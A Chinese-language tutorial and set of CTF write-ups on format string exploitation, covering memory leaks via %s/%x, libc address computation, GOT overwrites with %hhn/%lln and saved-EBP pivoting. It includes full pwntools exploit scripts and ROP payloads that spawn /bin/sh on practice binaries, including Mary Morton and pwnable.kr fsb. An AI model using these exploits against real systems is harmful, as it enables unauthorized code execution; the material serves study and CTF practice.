格式化串漏洞利用总结

前言:

这篇笔记总结下格式化字符串漏洞的利用。看之前需要对基本格式化字符串漏洞原理有所了解,在先前的笔记中已有。
格式化字符串漏洞的利用,往往就两点:泄露内存,修改内存。泄露内存可以泄露栈上数据,如 saved ebp/rbp , 返回地址,还有函数的got表项内容。修改内存可以修改got表项内容,返回地址,变量的值等等。还可以利用他来写ROP等。

预备知识:

  1. %x: 他可以将对应参数的值以16进制打印出来,%x只能打印4个字节,%lx或者%llx可以打8个字节。如%x表示要泄漏对应偏移4字节长度的16进制数据,%llx表示要泄漏对应偏移8字节长度的16进制数据。
  2. %s:可以打印对应参数所指向的字符串
  3. %n: 可以修改对应参数(这个参数是指针)所指向的变量的值为%n之前打印的字符的个数,如果是32位程序,则这个指针变量为4字节,64位程序这个指针变量为8字节,这是因为不同位数,地址的长度不同。还要注意%n是修改对应参数指向的地址起,4字节长度的空间。,%hn,是修改2字节的地址空间,%hhn是1字节的地址空间,%lln是修改8字节的地址空间。
    像修改地址这样的大数据,如果一次输出太多的字节可能会引起程序崩溃,则可以利用%hn,%hhn来一部分一部分的写入,下面修改内存部分会讲到。

泄露内存:

泄露got表项内容:

泄露内存可以泄露程序中使用过的函数的got表项的内容,得到该函数的地址。但是在64位程序中,往往会被\x00给截断。。因为64位程序中,很多地址的高位是00,但是在32位程序中不会,这就需要将地址写在格式化串的末尾。
如果已知目标程序使用的libc库,就可以计算出system函数的地址,
如果题目没有给出目标程序使用的libc库,则可以多泄露几个函数的地址,通过 http://libcdb.com/ 来获知目标程序使用的libc库,然后再计算出system函数的地址。也可以使用这个python的库https://github.com/lieanu/LibcSearcher 来获知目标程序使用的动态库,原理都是一样的:ASLR不会随机化地址的后12bit。
具体计算方法是:

1
2
libc_base = 泄露函数的地址 - 其在libc库中的偏移(libc.symbols["函数名"])
system_address = libc_base + system在库中的偏移(libc.symbols["system"])

出现格式化串漏洞的时候,程序往往是这样的:

char a[50];
read(0,a,50);
printf(a);

则你输入的字符串是保存在栈中的(后面会讨论格式化串不在栈中的情况,如在bss段或者堆中),然后你调用printf函数,此时printf函数的堆栈是在原先函数堆栈的低地址处,所以printf可以找到字符串的空间。
如图:

例如可以得到这样的结果:

可以看到AAAA在格式化串偏移7位置处。
如果将第七个%x,换成%s,那就将打印0x41414141这个地址指向的字符串了。很可能这不是一个有效的字符串地址,换成%s,会出现段错误。
如果将AAAA换成有效的字符串地址,则将字符串打印出来。

写个例子,分别讨论下32位和64位。

32位程序:

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void fsb()
{
setbuf(stdout,0);
setbuf(stdin,0);
char a[100];
read(0,a,100);
printf(a);
memset(a,0,sizeof(a));
read(0,a,0x500);
}
int main()
{
fsb();
return 0;
}

编译时关闭了canary和pie保护:
gcc -m32 demo.c -fno-stack-protector -no-pie -g -o demo
这里的setbuf函数是关闭输出缓冲区,防止远程打的时候,没有输出。
题目的思路如下:
使用格式化串漏洞随便泄露一个函数的got表项内容,结合libc库,计算出libc的基地址,接着计算出system函数的地址。
此时格式化串的构造方式为:
payload=p32(函数got表项的地址)+ %offset$s
offset怎么计算,可以看看格式化串漏洞的基本原理。
这样就可以将got表项的内容打印出来,计算出system函数的地址后,简单的rop,即可得到shell,完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
#coding=utf-8
from pwn import *
a=process("./demo")
elf=ELF("./demo")
libc=ELF("./libc.so.6")
offset=7

read_got=elf.got["read"]
payload=p32(read_got)+"%7$s" #格式化串
a.send(payload)
read_addr=u32(a.recv(8)[4:8]) #接受read函数的地址

system_addr=read_addr-libc.symbols["read"]+libc.symbols["system"]
pop3ret = 0x8048619
payload='A'*112 #padding
payload+=p32(read_addr) #read函数将/bin/sh读入bss段
payload+=p32(pop3ret)
payload+=p32(0)
payload+=p32(elf.bss())
payload+=p32(10)
payload+=p32(system_addr)
payload+=p32(pop3ret)
payload+=p32(elf.bss())

a.sendline(payload)
sleep(0.1)
a.sendline("/bin/sh\x00")
a.interactive()

64位程序:

和32位程序的代码是一样的。编译时去掉了-m32选项。

64位参数的传递和32位有所不同,由于64位cpu寄存器很多,所以前6个参数通过寄存器传递,从函数名开始的第一个参数到第六个参数依次放在rdi,rsi,rdx,rcx,r8,r9,多余6个的参数,从右往左依次入栈。
由于64位程序的地址,很多高位是0,这样就会导致,格式化串被\x00截断,例如:

拿read函数的got举例:
p64(read_got)="\x30\x10\x60\x00\x00\x00\x00\x00"
由于字符串是以\x00结尾的,所以会被截断,但是将其放在字符串的末尾就可以解决了:
payload='A'*(???) + '%' + str(offset+????) + "$s" + p64(read_got)
要注意将地址写在8字节对齐处。
payload前面的AAA..是为了将p64(read_got)写在8字节对齐处,至于要写多少个A,就按具体情况计算了。
完整的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
#coding=utf-8
from pwn import *
#context.log_level="debug"
a=process("./demo64")
elf=ELF("./demo64")
libc=ELF("./libc.so.6")
offset=6

read_got=elf.got["read"]
payload="AAAA%7$s"+p64(read_got)#本例中是4个A
a.sendline(payload)
read_addr=u64(a.recvuntil("\x30",drop=True)[4:].ljust(8,'\x00'))
print "read_addr = "+str(hex(read_addr))

system_addr=read_addr-libc.symbols["read"]+libc.symbols["system"]
print "system_addr = "+str(hex(system_addr))
pop_rdi_ret=0x400753 #ROPgadget

#ret2csu
payload='A'*120 #padding
payload+=p64(0x40074A)#csu_init
payload+=p64(0)#rbx=0
payload+=p64(1)#rbp=1
payload+=p64(read_got)#r12
payload+=p64(0)#arg3 -> fd
payload+=p64(elf.bss())#arg2 -> buf
payload+=p64(7)#arg1 -> length
payload+=p64(0x400730)#csu_init
payload+='A'*56 #padding
payload+=p64(pop_rdi_ret)#return address
payload+=p64(elf.bss())
payload+=p64(system_addr)
a.sendline(payload)
sleep(0.1)
a.send("/bin/sh\x00")
a.interactive()

修改内存:

修改内存往往是修改函数的GOT表项,例如修改为system函数的地址,则调用被修改got表的函数就会调用system函数。结合下面的小例子来看一下:

#include<stdio.h>
#include<stdlib.h>
int main()
{
  setbuf(stdout,0);
  while(1)
  {
    char b[100];
    gets(b);
    printf(b);
  }
  return 0;
}

编译时关闭了canary保护和PIE保护。
这个例子的利用思路就是先使用printf函数泄露某个函数的地址,然后结合libc库,计算出system函数的地址。第二次利用printf函数修改printf函数的got表项内容为system函数的地址,再输入字符串/bin/sh\x00,则再次调用printf函数时,其实会调用system(“/bin/sh”),这样就可以拿到shell了。下面分32位程序和64位程序:

32位程序:

32位程序不会有被地址截断的情况,则格式化串比较好写。
可以用%hhn一个字节一个字节写,这样打印的字符就会很少,不至于程序崩溃,当然也可以用%hn两个字节两个字节写入。
一个字节写入的模板如下:

1
2
3
4
5
payload=p32(target)+p32(target+1)+p32(target+2)+p32(target+3)
payload+='%'+str(length1)+'c'+"%"+str(offset)+"$hhn"
payload+='%'+str(length2)+'c'+"%"+str(offset+1)+"$hhn"
payload+='%'+str(length3)+'c'+"%"+str(offset+2)+"$hhn"
payload+='%'+str(length4)+'c'+"%"+str(offset+3)+"$hhn"

pwntools这个库有了现成的函数fmtstr_payload,可以生成修改内存的格式化串,但是这个只适用于32位的,原因是这个函数生成的payload和上面写的模板是一样的,64位的程序,地址会有00,这个payload会被截断。
完整的利用脚本如下:

#!/usr/bin/env python
from pwn import *
context.log_level="debug"
a=process("./fsb")
elf=ELF("./fsb")
libc=ELF("./libc.so.6")
printf_got=elf.got["printf"]
def leak(addr):
    payload=p32(addr)
    payload+="%7$s"
    a.sendline(payload)
    data=a.recv(8)[4:8]
    return data

def get(target,printed):
    if printed>target:
        return (256-printed+target)
    elif printed==target:
        return 0
    else: 
        return target-printed

def modify(target,offset,old):
    t1=target&0xff
    t2=target>>8&0xff
    t3=target>>16&0xff
    t4=target>>24&0xff

    payload=p32(old)+p32(old+1)+p32(old+2)+p32(old+3)
    len1=get(t1,len(payload))
    len2=get(t2,(len1)+16)
    len3=get(t3,(len2+len1)+16)
    len4=get(t4,(len3+len2+len1)+16)
    payload+='%'+str(len1)+'c'+'%'+str(offset)+'$hhn'
    payload+='%'+str(len2)+'c'+'%'+str(offset+1)+'$hhn'
    payload+='%'+str(len3)+'c'+'%'+str(offset+2)+'$hhn'
    payload+='%'+str(len4)+'c'+'%'+str(offset+3)+'$hhn'
    return payload

printf_addr=u32(leak(printf_got))

system_addr=printf_addr-libc.symbols["printf"]+libc.symbols["system"]

payload=modify(system_addr,7,printf_got)

a.sendline(payload) 
sleep(0.1)
a.sendline("/bin/sh\x00")
a.interactive()

解释下脚本:

payload=p32(old)+p32(old+1)+p32(old+2)+p32(old+3)

这里是先将要修改的got表项的地址写入栈中,然后利用找到的偏移来一个字节一个字节的修改

def get(target,printed):
        if printed>target:
            return (0x100-printed+target)
        elif printed==target:
            return 0
        else: 
            return target-printed

get函数是用来计算要打印多少字节的。如果前面覆盖字节所需打印的字符的个数超过了后面要打印字符的个数,则可以通过溢出来调整,例如你想要写入\x00,则你可以打印0x100个字符,因为只能写入一个字节长度,所以高位字节会被截断,只留下\x00。

64位程序:

64位程序用这道题做示范:ASIS CTF 2017 Mary Morton

网上的writeup都是使用现成的工具formatStringExploiter来攻击的。
还有的writeup是通过泄露canary,利用栈溢出写rop利用的。这次通过手动利用格式化串漏洞来攻击。
64位程序,修改内存,就不能像上面32位那样分开一点一点写了,只能利用%lln一次写完。当然,如果目标内存,只需要修改2个字节或者4字节,就可以使用%hn,%n。
格式化串的模板如下:
payload='a'*(???)+'%'+str(length)+'c'+'%'+str(offset+????)+"$lln"+p64(目标地址)
payload前面的 ‘a’ 是考虑到字节对齐的问题,要将目标地址写在8字节对齐处。offset要加多少,也是根据具体情况。
题目的main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 fsb()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]

v2 = __readfsqword(0x28u);#canary
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x7FuLL);
printf(&buf, &buf);#格式化串漏洞
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 stackoverflow()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);#canary
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x100uLL);#栈溢出
printf("-> %s\n", &buf);
return __readfsqword(0x28u) ^ v2;
}

程序中给了后门函数,但是没有shell。

1
2
3
4
int sub_4008DA()
{
return system("/bin/cat ./flag");
}

我写这道题的思路有两个:可以利用格式化串漏洞修改printf函数的got表,将其修改为system函数的plt,再次执行fsb函数时,输入/bin/sh,则可以拿到shell。
也可以修改_stack_chk_fail 的got表,将其修改为这个后门函数的地址,当执行Stackoverflow函数时,破坏掉canary,则会执行后门函数。
exp采用的是思路1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.arch="amd64"
#context.log_level="debug"
#a=remote("111.198.29.45","31730")
a=process("./mary_morton")
elf=ELF("./mary_morton")

a.recvuntil("3. Exit the battle \n")
a.sendline("2")
printf_got=elf.got["printf"]
system_plt=elf.plt["system"]
length2=len(str(system_plt))
payload='a'*(8-length2)+'%'+str(system_plt-8+length2)+'c'+"%8$lln"+p64(printf_got)
print payload
a.send(payload)
a.recv()
sleep(0.1)
a.sendline("2")
sleep(0.1)
a.sendline("/bin/sh\x00")
a.interactive()

格式化串不在栈中:

某些时候你输入的格式化串不是保存在栈中的,这些字符串可能保存在bss段或者堆中,那么你使用多少%p,都不能找到你写入的格式化串。例如:

1
2
3
4
5
6
7
8
#include<iostream>
char a[100];
int main()
{
std::cin>>a;
printf(a);
return 0;
}

这里的字符串a,就是全局变量,保存在bss段。

不管你用多少%p,都找不到这个格式化串。
这样就需要找个跳板——栈中保存的EBP/RBP。

预备知识

当函数初始化完成后(对汇编函数调用过程不了解请看原先笔记),在当前函数栈帧中,EBP指向上一个函数栈帧的EBP,即saved EBP。如图所示:

那么就可以将saved ebp指向的内存修改为你想要修改的内存单元的地址。即第一次利用格式化串漏洞,将想要修改的内存单元的指针写入栈中。
例如,你想修改某个函数的got表项,第一次修改后如图所示:

因为saved ebp 本来就保存在栈中,且当前EBP和printf的参数——格式化串的距离是固定不变的,所以可以直接使用 %number$n找到saved ebp,将saved ebp指向的内存单元修改掉。
又因为上一个函数的EBP,即当前函数的栈帧中保存的saved ebp,和printf的参数也是固定不变的,所以第二次利用格式化串找到第一次修改的地址,即可修改目标,如图所示:

图中的4和9,都是随便写的,具体数值需要根据题目调试出来。

利用模板如下:

1
2
3
4
5
6
第一次漏洞利用:
payload='%'+str(想要修改的内存单元的地址)+‘c’+‘%offset1$n’
offset1= 格式化串和EBP的偏移
第二次漏洞利用:
payload='%'+str(想要修改的数值)+‘c’+"%offset2$n"
offset2= 格式化串和saved ebp的偏移

其中第一次漏洞利用是将地址写入栈中,第二次才是真正的修改。

例题

pwnable.kr 中的fsb,就是格式化串不在栈中的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>
unsigned long long key;
char buf[100];
char buf2[100];
int fsb(char** argv, char** envp){
char* args[]={"/bin/sh", 0};
int i;
char*** pargv = &argv;
char*** penvp = &envp;
char** arg;
char* c;
for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
*pargv=0;
*penvp=0;
for(i=0; i<4; i++){
printf("Give me some format strings(%d)\n", i+1);
read(0, buf, 100);
printf(buf); //漏洞在这里
}
printf("Wait a sec...\n");
sleep(3);
printf("key : \n");
read(0, buf2, 100);
unsigned long long pw = strtoull(buf2, 0, 10);
if(pw == key){
printf("Congratz!\n");
execve(args[0], args, 0);
return 0;
}
printf("Incorrect key \n");
return 0;
}
int main(int argc, char* argv[], char** envp){
int fd = open("/dev/urandom", O_RDONLY);
if( fd==-1 || read(fd, &key, 8) != 8 ){
printf("Error, tell admin\n");
return 0;
}
close(fd);
alloca(0x12345 & key);//在栈中申请空间,申请的大小是随机化的
fsb(argv, envp); // exploit this format string bug!
return 0;
}

利用思路就是将sleep函数的got表项修改为execve(“/bin/sh”,0,0)的地址。
百度了一下alloca这个函数,是在栈中申请空间,类似于malloc,由于这个申请的栈空间的大小是不一定的,也就是说fsb这个函数栈帧的基地址EBP和ESP都是不确定的,则需要通过泄露栈中数据计算出offset。
在printf处下个断点。

此时esp指向的是格式化字符串。
通过泄露图中0xfffeccf8所指向的内容再减去80,即可算出ESP,再泄露出saved ebp,两者相减再除以4,即可算出offset。
对应的payload的如下:

1
2
3
4
5
payload="%14$08x%18$08x"
p.sendline(payload)
esp=int(p.recv(8),16)-0x50
ebp=int(p.recv(8),16)
offset=(ebp-esp)/4

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#coding=utf-8
from pwn import *
p=ssh(host='pwnable.kr',port=2222,user='fsb',password='guest').run('/home/fsb/fsb')
sleep_got=0x0804a008
system=0x080486ab

p.recvuntil("(1)\n") #第一次利用,计算offset
payload="%14$08x%18$08x"
p.sendline(payload)
esp=int(p.recv(8),16)-0x50
ebp=int(p.recv(8),16)
offset=(ebp-esp)/4

p.recvuntil("(2)\n")
payload="%134520840c"+"%18$n" #修改saved ebp所指向的内容为sleep表项地址
p.sendline(payload)

p.recvuntil("(3)\n")
payload="AAA%134514344c"+"%"+str(offset)+"$n" #修改为getshell的地址
p.sendline(payload)

p.recvuntil("(4)\n")
payload="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
p.sendline(payload)
p.interactive()